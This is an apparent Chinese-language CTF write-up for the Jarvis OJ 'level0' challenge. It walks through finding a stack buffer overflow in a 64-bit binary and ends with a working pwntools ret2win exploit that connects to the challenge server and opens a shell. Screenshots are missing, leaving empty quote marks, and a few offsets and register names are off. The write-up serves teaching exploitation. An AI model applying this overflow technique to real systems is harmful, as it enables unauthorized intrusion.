level0

一个 64位elf,开启了 nx
先运行程序看看
“”

很简单,接收用户输入,然后退出。
去 ida 分析程序
“”
一个 Write 函数,一个 vulnerable_function
进入gdb调试
“”
在来看看 vf函数
“”
溢出点在 read 函数,buf 被分配的地址为 0x80h ,但可以读如 0x200 字节
由于 vulnerable_function 是一个单独的函数,在 main 中调用,它执行完后会回到 main 函数
那么,我们可以通过溢出的数据,去覆盖这个返回地址,让它回不到 main 函数,回到我们想去的位置。

与上一题 guestbook类似,我们先这样做:
由于 buf 只有 0x80 ,那么溢出的位置就在这之后,需要覆盖的返回地址就是 0x80 - 0x88 这段
进入 gdb 调试,构造长度为 0x80 的字符串 A ,在结尾跟上其他8个字符,比如 BBBBCCCC,查看 程序是不是在ret 这里出错。
“”

发现程序并没有在 ret 位置处崩掉,而是在另外的地方。注意看这时候的 rbp , rsp
rbp 中存放的是 BBBBCCCC , rsp 中却不是。
为什么呢?
这里就与上一题 guetbook 不同了。

因为, 这里 read 函数,是在 vulnerable_function 中,程序是通过 main 函数去调用的 vulnerable_function 函数。所以,在调用vulnerable_function 函数前,会执行
push rbp
mov rbp, rsp
“”

在 read 函数执行完成之后,会执行
leave
retn
去回到 main 函数。

leave 等于 mov esp,ebp ret 等于 pop rip
pop ebp

所以,输入的 0x80 字节,这之后的 8 个字节 是覆盖的 ebp ,又 8个字节才是覆盖的 ret 指令
“”

0x80 - 0x88 -> ebp
0x88 - 0x8c -> ret
所以 payload = “A”*0x80 + ‘“BBBBCCCC” + p64(xxxxx)
接着,去字符串看看
“”
有 /bin/sh 跟去过去看看,有现成的,callsystem 函数
“”
找到地址,callsystem_addr = 0000000000400596
“”

接下来就写exp
from pwn import *

#p = process(‘./level0’)
p = remote(‘pwn2.jarvisoj.com’,9881)

callsystem_addr = 0x0000000000400596

payload = “A”*0x80 + “BBBBCCCC” + p64(callsystem_addr)

p.send(payload)

p.interactive()

“”